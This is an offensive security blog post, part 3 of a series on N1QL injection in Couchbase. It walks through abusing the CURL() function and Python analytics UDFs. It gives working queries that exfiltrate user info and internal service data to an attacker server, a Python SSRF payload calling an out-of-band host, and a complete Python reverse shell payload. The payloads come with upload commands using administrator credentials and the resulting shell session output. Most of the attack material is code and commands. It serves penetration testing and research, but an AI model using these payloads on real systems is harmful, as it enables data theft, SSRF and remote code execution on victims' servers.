N1QL Injection - Part 3
Introduction
In this post we are going to be build on the basics and exploits covered in parts 1 & 2 (if you haven’t read them already, you can find them here: Part 1, Part 2) and look at some other useful functions and features.
Two main things we are going to look at are the built-in CURL
function and the Analytics functionality.
CURL
Couchbase have implemented their own CURL()
function, which uses a subset of the cURL functionality and allows queries to interact with and include external JSON data sources in results. These federated queries, as stated in their documentation, can leverage the full querying capabilities of SQL++ (N1QL) including functions, expressions, sub-queries, JOINs, NESTs, etc. More Information
For us as attackers, this means we have a built-in method for performing arbitrary web requests to internal web services (either on the same Couchbase server or within the same internal network) or external services. But, and it is a pretty big but, there are several limitations around the types of requests we are able to perform, the responses it can process and what users are able to use the function. Such as:
- Users are required to be full administrators or have the
QUERY_EXTERNAL_ACCESS
role in order to use the function; - An access list of URLs allowed to be accessed must be set, or the function access set to
Unrestricted
; - Only
GET
orPOST
requests can be performed; - All responses must be in JSON format.
Checking the user permissions can be done fairly easily with the following queries:
select r from system:my_user_info UNNEST roles as r where r.`role`='query_external_access'
select r from system:my_user_info UNNEST roles as r where r.`role`LIKE'%admin%'and(r.`role`!='bucket_admin' or r.`role`!='analytics_admin')
If either of these queries return a valid role then you can use the CURL
function.
Attempting to use the CURL
function will allow us to determine if the Couchbase instance is configured with restricted or unrestricted CURL
access, based on the response. Unfortunately when restricted access is used, the only method to determine the host access list is to fuzz it. (Note: Other than direct access via the Dashboard or CLI there does not appear to be an easy way of getting the information; however, I am looking into this and will update this post if another method is found)
The following examples show how the function can be used to our advantage.
Exfiltrating Data and SSRF
Basic Server-Side Request Forgery can be achieved with the following N1QL query:
SELECT CURL('https://attacker/ssrf')
The Couchbase server will reach out to the attacker-controlled server. The output of queries can be included in the CURL
function by adding the following options:
{
'request':'POST',
'header':'Content-Type: application/json',
'data':(
ENCODE_JSON(
(<QUERY>)
)
)
}
For example the following N1QL query would return the current user’s information to the remote server:
SELECT CURL(
'https://attacker/ssrf',
{
'request':'POST',
'header':'Content-Type: application/json',
'data':(
ENCODE_JSON(
(select * from system:my_user_info)
)
)
}
)
Through this it is possible to exfiltrate various bits of information from the Couchbase server, including:
- DB information
- User information
- Documents
- Internal service information
Since it is possible to use the CURL
function to interact with internal as well as external services, it is also possible to exfiltratre the information from the internal services to our attacker-controlled server. The following query retrieves information from an internal API service and posts it to a remote server.
SELECT CURL(
'https://attacker/ssrf',
{
'request':'POST',
'header':'Content-Type: application/json',
'data':(
ENCODE_JSON(
(SELECT CURL('http://127.0.0.1:8888/changelog'))
)
)
}
)
The CURL
function can also be used to:
- enumerate internal REST/API services
- perform rudimentary port scans of internal hosts
Analytics
The Analytics service is designed to support real-time, large-scale data analytics directly on operational data. It eliminates the need to extract, transform, and load (ETL) data into separate systems for analysis, making it ideal for scenarios requiring quick insights from fresh operational data. Enabling business intelligence and data exploration by providing the ability to query and analyse semi-structured JSON data without impacting the performance of operational workloads.
User Defined Functions
The Analytics service supports the use of User Defined Functions (UDFs) either through JavaScript, which is defined through queries, or python.
UDFs defined through JavaScript contain a number of restrictions that limit their usefulness for exploiting the server. The python UDFs, however, do not have any limitations in what they are able to do or the functions they are allowed to call. While it does require the Couchbase server to be using Preview Mode, it gives a relatively easy method for gaining code execution on the server or potentially elevating your privileges.
The following examples demonstrate how this can be used for SSRF and remote shell payloads. (Important Note: Privileged access to the Analytics service is required to exploit this. Additionally, network access to the Analytics service or the Couchbase console is also required.)
SSRF
Payload:
#!/usr/bin/python3
import requests
class felsec:
def testing(self):
print('Doing stuff')
r = requests.get(
'https://tsehajsyflxvxvoxxfqi1sj49q4fed3sl.oast.fun/ssrf/python/cb')
return r.text
Package the Python payload with shiv
:
shiv -o ssrf.pyz --site-packages .
Upload to the Couchbase Analytics service:
> curl -X POST -u Administrator:admin1 -F "type=python" -F "data=@./ssrf.pyz" 127.0.0.1:8095/analytics/library/Default/pylib
Response: {}
Create the UDF function:
curl -u Administrator:admin1 http://127.0.0.1:8095/analytics/service \
-d 'statement=CREATE OR REPLACE ANALYTICS FUNCTION testing() AS "ssrf","felsec.testing" AT pylib;'
Call the UDF function:
> curl -u Administrator:admin1 http://127.0.0.1:8095/analytics/service \
-d 'statement=select testing();'
Response:
{
"requestID": "4883c851-591b-490e-b453-481e079100a8",
"signature": {
"*": "*"
},
"results": [ { "$1": "<html><head></head><body>ls3def4q94js1iqfxxovxvxlfysjahest</body></html>" }
]
,
"plans":{},
"status": "success",
"metrics": {
"elapsedTime": "1.76102056s",
"executionTime": "1.742527434s",
"compileTime": "12.385838ms",
"queueWaitTime": "0ns",
"resultCount": 1,
"resultSize": 85,
"processedObjects": 0
}
}
Request to the remote server from the Couchbase server:
GET /ssrf/python/cb HTTP/1.1
Host: tsehajsyflxvxvoxxfqi1sj49q4fed3sl.oast.fun
Accept: */*
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
User-Agent: python-requests/2.31.0
Reverse Shell
Payload:
import socket,subprocess,os;
class felsec:
def testing(self):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("x.x.x.x",9999))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty
pty.spawn("/bin/bash")
Package the Python payload with shiv
:
shiv -o remote.pyz --site-packages .
Upload to the Couchbase Analytics service:
> curl -X POST -u Administrator:admin1 -F "type=python" -F "data=@./remote.pyz" 127.0.0.1:8095/analytics/library/Default/pylib
Response: {}
Create the UDF function:
curl -u Administrator:admin1 http://127.0.0.1:8095/analytics/service \
-d 'statement=CREATE OR REPLACE ANALYTICS FUNCTION testing() AS "remote","felsec.testing" AT pylib;'
Reverse shell:
> nc -lvnp 9999
Listening on 0.0.0.0 9999
Connection received on x.x.x.x 54726
<ions/library/storage/Default/pylib/rev_1/contents$ hostname
hostname
0ea06754e662
<ions/library/storage/Default/pylib/rev_1/contents$ pwd
pwd
/opt/couchbase/var/lib/couchbase/data/@analytics/v_iodevice_0/applications/library/storage/Default/pylib/rev_1/contents
<ions/library/storage/Default/pylib/rev_1/contents$ id
id
uid=1000(couchbase) gid=1000(couchbase) groups=1000(couchbase)
<ions/library/storage/Default/pylib/rev_1/contents$